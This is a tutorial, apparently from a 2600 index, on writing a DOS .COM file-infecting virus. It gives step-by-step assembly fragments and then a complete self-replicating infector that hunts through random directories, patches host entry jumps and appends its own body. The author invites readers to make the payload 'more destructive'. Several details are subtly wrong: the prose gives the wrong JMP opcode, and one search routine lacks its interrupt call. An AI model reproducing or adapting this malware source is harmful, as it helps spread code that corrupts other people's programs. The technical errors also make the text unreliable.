.COM File Infecter

by Impending Dhoom

In this article, I will explain each part of the COM infecter in as much depth as possible and in as easy a way to understand as I can make it.

I won't discuss the file chooser or the random number routine since it's easy to make your own file chooser and there is a whole other article's worth of information on those topics.

Before we talk about infecting the COM file there is a problem with the variables we must address.  Any time you declare data (with db, dd, etc.), the assembler converts any references you make to the data to a constant number.  This becomes a problem for our virus when we infect another file.  When the virus infects another file, the code is put into an entirely different place in memory.  This throws off any reference to data you make.

Fortunately there is a way to combat this.  At the beginning of your virus the first lines should be this:

SOV: 
  call get_offset           ; Push the address onto the stack 
get_offset:
  pop di                    ; Pop it into DI 
  sub di, offset get_offset ; Adjust to host file

The CALL will push the return address onto the stack, we can pop it into DI.  When the assembler assembles offset get_offset it generates a constant number.  We can subtract this value from DI and we will get the value that your references are off by; this value is now in DI.

Now when you reference data, do it like this:

lea dx, [di+data]; Right way

Instead of like this:

lea dx, data ; Wrong way

That's a quick fix to your referencing problem and as long as you put that code at the beginning of your virus and reference data as I have shown, you'll have no problem.

As you will see when you infect a file, you will save the original three bytes in buffer.  (The next paragraph is where you save the three bytes of the host.)

You need these bytes saved so the virus can allow its host to run when your virus has finished executing.  When your virus replicates, the data in buffer will be overwritten and it will contain data from the wrong host.

So we copy the data to another three byte buffer called savebuffer.  The data we copy there won't be overwritten.  It may not make complete sense to you now, but it will:

mov bp, di               ; Save our reference offset 
lea di, [bp+savebuffer]  ; Save original 3 bytes of YOUR current host, (i.e. infected file that's executing) 
lea si, [bp+buffer] 
movsw 
movsb                    ; Save 3 bytes 
mov di, bp

Before you change the first three bytes of the host, you need to save them in a safe place.  (This is so the spawn of this virus will have the original three bytes of its host and be able to run the original.)

mov ah, 03Dh         ; Open file 
mov al, 2h
lea dx, [bp-98]      ; This is just where I happen to have put the filename, change it to suit your code 
int 21h 
xchg ax, bx          ; Put file handle in BX 
mov ah, 03Fh         ; Read from file
mov cx, 3            ; Read in 3 bytes 
lea dx, [di+buffer]  ; Put bytes in buffer 
int 21h

Now that the original three bytes are safe and out of the way, the first three bytes of the program must be changed into a jmp that points to your virus.  Calculating the offset the jmp should jump to isn't as hard as it sounds...  This code shows you how to do it:

; This code assumes a file handle is in BX and that you have not yet appended your virus to the end of the host 

mov ah, 42h    ; Move the Read/Write pointer to the end of the file 
mov al, 2h 
mov dx, 0 
mov cx, 0      ; AX now contains the offset of the end of the file 
int 21h 
xchg ax, dx    ; Save offset 
mov ah, 03Eh   ; Close file 
int 21h 
xchg ax, dx    ; Restore offset 
sub ax, 3      ; If you don't subtract 3 everything will be off by 3 and cause chaos 

; AX now contains the offset of where your virus will begin

Now that you know how to calculate the offset of your virus, you need to build your jmp statement.  This is very easy - simply create a piece of data like this:

evil_jump db 0Eh, ?, ?   ; 0Eh is machine code for JMP

The 0Eh is the jmp part of your code - all that remains now is to move the offset of your virus into the two bytes after the 0Eh (i.e., ?, ?):

mov word ptr [di+evil_jump+1], ax  ; Move the offset of your virus in AX into the evil_jump

Now you have built your jmp and are ready to alter the host.  Now all you have to do is open the host again and write the three bytes located in evil_jump.  Then you can append your virus to the end of the host.

But wait, you don't want to infect a file you already made ill, do you?

This is something you must avoid.  Multiple infections on the same file will eventually be noticeable because of the space it takes up on disk and the delay when an infected file is run.  You should always check to see if a file has already been infected before you infect it again.

Determining if a file has been infected isn't too hard.  We already have the offset of where the code should begin in AX, but if this file is infected the offset will be off by the size of your virus.

All you need to do is compare the 2nd and 3rd original bytes of the host, [buffer+1], with: [AX-virus size]

You use [buffer+1] in your comparison because if this file has been infected you have put a jmp to your virus at the first three bytes.

So the data at [buffer+1] will be the offset to your virus if the host has already been infected.  Makes sense, right?

To determine the size of your virus, place two labels in your code, SOV and EOV.

Put SOV at the very beginning of your code and EOV at the very end of your code.  Now if you were to subtract SOV from EOV it would result in the length of your virus, so whenever you need to use the length of your virus simply use (EOV-SOV).  Easy enough.

So here's all that in code:

; Replace the last line of the code presented to calculate the offset of the virus above, with this code

calculate_jmp_offset: 
  sub ax, (EOV-SOV)+3            ; Subtract virus size plus 3 

check_for_previous_infection: 
  cmp word ptr [di+buffer+1], ax ; Check for infection 
  je exit                        ; If the offsets are equal exit 
                                 ; (Change this label to suit your code) 

build_a_new_jump: 
  add ax, (EOV-SOV)              ; Readjust for the new jump 
  mov word ptr [di+evil_jump+1], ax ; Construct jmp for your virus 

write_new_jump:                  ; End of code

By inserting this checking procedure you can determine if the file has been infected or not.  If it hasn't, you're free to infect the file.  All you have to do is open the file, write the jump at the beginning, move the read/write pointer to the end of the file and append the virus.

Now, after we have infected our file you can have your virus do whatever you want.  When you're done, you'll want to run the original program.

Running the original program is easy.  COM files are loaded into memory at 100h.  So all we have to do is copy the original three bytes of the host to 100h and jmp there (or you could push 100h and issue a ret).  It's that easy:

run_host: 
  mov bp, di              ; Move our reference offset to BP 
  lea si, [bp+savebuffer] ; Point SI to original three bytes 
  lea di, 0100h           ; Beginning of host in memory 
  push di                 ; push 100h so we can RET 
  movsw 
  movsb                   ; Copy three bytes
  xor ax, ax 
  xor bx, bx              ; It's a good idea to zero the registers before returning but isn't always necessary 
  xor cx, cx 
  xor dx, dx 
  xor si, si
  xor di, di 
  xor bp, bp 
  ret                     ; Run the host

The data in savebuffer is what is copied to memory and executed so the host will run.  However, the first time the virus is run there is no host.  So what's going to happen when it tries to run a host?  It's probably just going to crash, and that's something you don't want to happen.

There is an easy way to fix that.  The data executed is stored in savebuffer, the data in savebuffer is copied from buffer before an infection takes place.  So all you need to do is declare buffer like this in your code:

buffer db CDh, 20h, 00h    ; Machine code for interrupt 20h

Now the first time the virus is run, buffer contains the data for an int 20h.  That data is then copied to savebuffer.  Then when the virus tries to run the non-existent host it will execute int 20h and terminate the program, exiting normally.

You basically understand everything that happens to infect a COM file.  I have explained each part in pretty much the order it's executed.  So what does all this look like in a working COM file infecter?

Well here's the code for a working COM file infecter.  Enjoy!

COM-infecter.asm:

; This is an example of a .COM infecter. It will choose 3 random directories 
; and files to infect everytime it is run. It will also display a quick message
; before a host is executed. The file searching routines aren't the best, but
; they will do for this demo. 

.model small 
.code 
org 100h 

SOV:  ; Sets up DI for referencing 

main: 
  call get_offset 

get_offset: 
  pop bp                    ; Put it into BP 
  sub bp, offset get_offset ; Adjust to host file 
  lea si, [bp + buffer]       ; Original start 
  lea di, [bp + savebuffer]   ; Copy to the save buffer 
  movsw 
  movsb                     ; Copy 3 bytes 
  mov di, bp                ; Set up DI 

jmp begin 

  wildcard db '*.*',0 
      root db '\',0 
  com_card db '*.COM',0 
    buffer db 0CDh, 20h, 00h 
savebuffer db 'RPC' 
 evil_jump db 0E9h, ?, ? 
       msg db 'Here I AM!', 0Dh, 0Ah, '$'  
     xrand dw 0  ; Random Number Generator variables 
    multip dw 253 

rand: 
  mov ax, [di + xrand] ; Check seed 
  cmp ax, 0 
  jne getnxt         ; If seed uninitialized or zero call the clock function 
                     ; and use 100ths of seconds for new seed 
  mov ah, 2Ch 
  int 21h 
  mov ax, dx 

getnxt: 
  neg ax 
  mul [di + multip]    ; Puts result into AX, DX 
  mov [di + xrand], ax ; Save low word for new seed 

mod_it:              ; Divide by 2 and use remainder - it will be 0 for even 
                     ; and 1 for odd. If we wanted 3 random numbers instead of 
                     ; just 0 + 1 we divide by 3, 4, 5... result will be 0 
                     ; to n-1 
  xor dx, dx 
  mov bx, 3 
  div bx 

exit: 
  ret 

;RUN ORIGINAL COM PROGRAM
run_orig_com:            ; Zero all our registers 
  mov bp, di             ; Move offset in di to bp 
  lea si, [bp + savebuffer] ; Original start 
  mov di, 100h           ; Put 100h on to stack for return to main program 
  push di 
  movsw 
  movsb                  ; Copy 3 bytes 
  xor ax, ax 
  mov bx, ax             ; The address a RET jumps to is POPed off the stack
  mov cx, ax 
  mov dx, ax             ; That 'push di' in the beginning put 100h on the 
                         ; stack and right now it's the last thing that needs 
                         ; poped... This will POP it and return control to the
                         ; host file.
  mov si, ax 
  mov di, ax 
  mov bp, ax 
  ret 

; COM FTIE INFECTION ROUTINE 
infect_com: 
  mov ah, 3Dh 
  mov al, 2h        ; Open file function. Where I stored the filename change 
                    ; to suit  your needs 
  lea dx, [bp - 98] 
  int 21h 
  xchg ax, bx           ; Put file handle in BX
  mov ah, 03Fh          ; Read from file function 
  mov cx, 3             ; Read in 3 bytes 
  lea dx, [di + buffer] ; Put bytes in buffer 
  int 21h 

  mov ah, 42h 
  mov al, 2h            ; Move RW pointer to EOF 
  mov dx, 0 
  mov cx, 0 
  int 21h               ; AX now contains offset of EOF 

  xchg ax, dx           ; Save offset 
  mov ah, 03Eh          ; Close file 
  int 21h 
  xchg ax, dx           ; Restore offset 

calculate_jmp_offset: 
  sub ax, (EOV - SOV) + 3 ; Subtract virus size 

check_for_previous_infection: 
  cmp word ptr [di + buffer + 1], ax  ; Check for infection 
  je done_infect                      ; If so, exit 

build_a_new_jump: 
  add ax, (EOV - SOV)                   ; Readjust for the new jump 
  mov word ptr [di + evil_jump + 1], ax ; Construct jmp for our program 

write_new_jump: 

  mov ah, 03Dh 
  mov al, 02h              ; Open file function 
  lea dx, [bp - 98] 
  int 21h 
  xchg ax, bx              ; Put file handle in BX 

  mov ah, 040h             ; Write to file function 
  mov cx, 3                ; 3 bytes
  lea dx, [di + evil_jump] ; Put at beginning 
  int 21h 

append_virus:
  mov ax, 04202h      ; Seek EOF 
  xor cx, cx 
  xor dx, dx          ; Append Virus to EOF 
  int 21h 

  mov ah, 40h         ; Write to file function 
  mov cx, (EOV - SOV) ; Length of virus 
  lea dx, (di + SOV)  ; Begin with the beginning 
  int 21h 

done_infect: 
  ret                 ; Exit infect_com 

; FIND A FILE 
find_it: 
  push bp
  mov ah, 02Fh       ; Get and save the old DTA location 
  int 21h 

  push bx 
  mov bp, sp         ; Set up new DTA location 
  sub sp, 128 
  mov ah, 01Ah       ; DOS set DTA function to location we set up 
  lea dx, [bp - 128]
  int 21h 

f_1: 
  mov ah, 04Eh            ; DOS find first function 
  mov cx, 10h             ; Find directories 
  lea dx, [di + wildcard] ; Search for int 21h 

f_2: 
  jc f_5                       ; If no more files then goto done 
  cmp byte ptr [bp - 107], 16  ; Is this a directory? 
  jne f_3                      ; No, then findnext 
  cmp byte ptr [bp - 98], '.'  ; a . or . ? 
  je f_3                       ; Yes, then findnext 
  call rand 
  cmp dx, 0 
  je f_3
  call rand 
  cmp dx, 0         ; Check random number 
  je f_4            ; Change directory 

f_3: 
  mov ah, 04Fh             ; DOS find next function 
  mov cx, 10h              ; Find directories 
  lea dx, [di + wildcard]  ; Search for *.* 
  int 21h 
  jmp f_2                  ; Go through logic 

f_4: 
  mov ah, 03Bh      ; DOS change directory function 
  lea dx, [bp - 98] ; Points to filename in DTA 
  int 21h 
  jmp f_1           ; Begin new directory search 

f_5: 
  mov ah, 4Eh              ; Find first file 
  mov cx, 0007h            ; Any file attribute 
  lea dx, [di + com_card]  ; DS:[DX] -> filemask 
  int 21h 
  jc argg 

do_logic: 
  call rand 
  cmp dx, 0 
  je find_another 
  call rand 
  cmp dx, 0 
  je found 

find_another: 
  mov ah, 4Fh  ; Find next file 
  int 21h 
  jc found 
  jmp do_logic 

found: 
  call infect_com 

argg: 
  mov sp, bp   ; Restore old stack frame 
  mov ah, 01Ah ; Set DTA function 
  pop dx       ; Restore old DTA address 
  int 21h 
  pop bp       ; Restore BP 
  ret 

; SAVE OLD DIR AND CALL INFECTION, THEN RESTORE OLD DIR
begin:
  push bp             ; Save BP 
  mov bp, sp          ; BP points to local buffer 
  sub sp, 64          ; Allocate 64 bytes on stack 
  mov ah, 047h        ; DOS get current dir function 
  xor dl, dl          ; DL holds drive # (current) 
  lea si, [bp - 64]   ; SI points to 64 byte buffer 
  int 21h 
  mov cx, 3           ; # of times to infect a file 

looop: 
  push cx 
  mov ah, 3Bh         ; DOS change directory function 
  lea dx, [di + root] ; DX points to root directory 
  int 21h 

  call find_it        ; Do the infection 
  pop cx 
  loop looop 

  mov ah, 38h         ; DOS change directory function 
  lea dx, [di + root] ; DX points to root directory 
  int 21h 

  mov ah, 3Bh         ; DOS change directory function 
  lea dx, [bp - 64]   ; DX points to old directory 
  int 21h 

  mov sp, bp          ; Restore old stack pointer 
  pop bp              ; Restore BP 
  mov ah, 9           ; Just displays a message before host executes... 
                      ; Hope you think of something better, more destructive...
  lea dx, [di + msg] 
  int 21h 
  jmp run_orig_com 

EOV: 
  int 20h 
  end SOV 

; This code was tested and assembled with TASM 1.0 and works great, enjoy! 

Code: COM-infecter.asm

Code: COM-infecter.com

Return to $2600 Index